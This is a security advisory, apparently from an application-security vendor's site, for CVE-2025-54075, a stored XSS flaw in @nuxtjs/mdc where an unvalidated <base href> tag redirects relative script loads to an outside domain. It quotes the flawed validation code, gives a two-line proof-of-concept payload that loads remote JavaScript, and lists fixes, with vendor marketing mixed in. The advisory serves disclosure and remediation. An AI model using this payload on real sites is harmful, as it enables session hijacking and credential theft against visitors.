CVE-2025-54075

CVE-2025-54075 is a high-severity cross-site scripting (XSS) vulnerability in @nuxtjs/mdc (npm), affecting versions < 0.17.2. It is fixed in 0.17.2.

Summary

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Details

  • Affected file : src/runtime/parser/utils/props.ts
  • Core logic  : validateProp() inspects
    • attributes that start with on → blocked
    • href or src → filtered by isAnchorLinkAllowed()
      Every other attribute and every tag (including <base>) is allowed unchanged, so the malicious href on <base> is never validated.
export const validateProp = (attribute: string, value: string) => {
  if (attribute.startsWith('on')) return false
  if (attribute === 'href' || attribute === 'src') {
    return isAnchorLinkAllowed(value)
  }
  return true               // ← “href” on <base> not checked
}

As soon as <base href="https://vozec.fr"> is parsed, any later relative path, /script.js, ../img.png, etc., is fetched from the attacker’s domain.

Proof of Concept

Place the following in any Markdown handled by Nuxt MDC:

<base href="https://vozec.fr">
<script src="/xss.js"></script>
  1. Start the Nuxt app (npm run dev).
  2. Visit the page.
  3. The browser requests https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).

Recommendations

  1. Disallow or sanitize <base> tags in the renderer. The safest fix is to strip them entirely.
  2. Alternatively, restrict href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin.
  3. Publish a patched release and document the security fix.
  4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with FORBID_TAGS: ['base'].

Impact

  • Type: Stored XSS via remote script inclusion
  • Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
  • Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-54075 has a CVSS score of 8.3 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.17.2); upgrading removes the vulnerable code path.

Affected versions

@nuxtjs/mdc (< 0.17.2)

Security releases

@nuxtjs/mdc → 0.17.2 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade @nuxtjs/mdc to 0.17.2 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-54075? CVE-2025-54075 is a high-severity cross-site scripting (XSS) vulnerability in @nuxtjs/mdc (npm), affecting versions < 0.17.2. It is fixed in 0.17.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2025-54075? CVE-2025-54075 has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @nuxtjs/mdc are affected by CVE-2025-54075? @nuxtjs/mdc (npm) versions < 0.17.2 is affected.
  4. Is there a fix for CVE-2025-54075? Yes. CVE-2025-54075 is fixed in 0.17.2. Upgrade to this version or later.
  5. Is CVE-2025-54075 exploitable, and should I be worried? Whether CVE-2025-54075 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-54075 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-54075? Upgrade @nuxtjs/mdc to 0.17.2 or later.

Other vulnerabilities in @nuxtjs/mdc

CVE-2025-24981

Stop the waste.
Protect your environment with Kodem.